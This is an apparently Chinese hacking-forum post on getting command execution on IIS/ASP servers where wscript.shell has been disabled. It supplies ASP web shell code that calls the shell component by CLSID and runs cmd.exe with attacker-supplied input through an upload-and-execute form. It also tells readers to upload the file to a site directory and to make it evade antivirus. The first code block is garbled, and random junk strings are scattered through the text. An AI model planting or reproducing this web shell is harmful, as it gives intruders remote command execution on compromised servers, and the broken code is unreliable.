没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  5 u: W/ G  X% U, b
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  # c. e' s, C) X4 J/ K- q% A8 R
• 把下面代码复制：
  7 S: D* Y# e9 S1 i1 T9 |
• <%
  ; d, L3 o; b/ i7 {& ?' ]5 G
• end if
  : e3 d' j6 X: r- H
• response.write(”")
  : |/ x# [" @. w6 I  u& U
• On Error Resume
  
• Next
  ( u% K  I6 Q% k* Y! \5 N
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  
• response.write(”")
  
• response.write(”")
  
• response.write(”
  6 V  H! S; O% b7 o; h4 ?8 F; H  H
• “)
  2 p3 b9 n/ a! l5 r/ l1 x
• response.write(”")
  % Q2 w$ ^- q8 G) K- N4 k* T
• %>
  
• 保存为一个asp文件，然后传到网站目录上去
  ) o. r- t8 C& Z# X
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  $ s2 `* m6 \! U7 d4 N
• 我用此成功运行过cacls命令。
  9 d2 u& m+ |# f8 K2 y+ F
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  + r1 x( U& ?# s0 A( F& q
• <object runat=server id=oScriptlhn scope=page
  8 n, _% O) f4 C6 ~+ s- p
• 
  ! a9 `# [0 x# `
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
  
• <object runat=server id=oScriptlhn scope=page
  0 l; L2 q0 H' {
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  
• end if
    I$ V1 a$ Y. ]" H! l
• response.write(”<textarea readonly cols=80
  7 K" \" b. E/ p6 @9 j( S! q$ y
• 
  
• rows=20>”)
  8 U" F( L* G2 i, d& L& p& p
• On Error Resume Next
  ! `7 F  }; G8 f! i
• response.write
  ! x% s0 q7 t$ w# y  n6 w, T1 v: m
• 
  
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  7 \6 q# g, M5 r- K) i) t( U) m1 X
• response.write(”</textarea>”)
  
• response.write(”<form
  2 l5 a0 Z( t/ }( a9 [, ]* F7 o
• 
  
• method=’post’>”)
  
• response.write(”<input type=text name=’c'
  - g  G( s5 ^& Q6 W( \3 ^# Y( t8 b
• 
  
• size=60><br>”)
  8 e) r) ]3 R) y9 G, a; N
• response.write(”<input type=submit
  / p: S1 }0 [* E  z" W2 j$ B( u
• 
  
• value=’执行’></form>”)
  + {7 C+ ^( W6 F; t
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  . W, ~1 z; a; d" O$ |) m' b' O
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码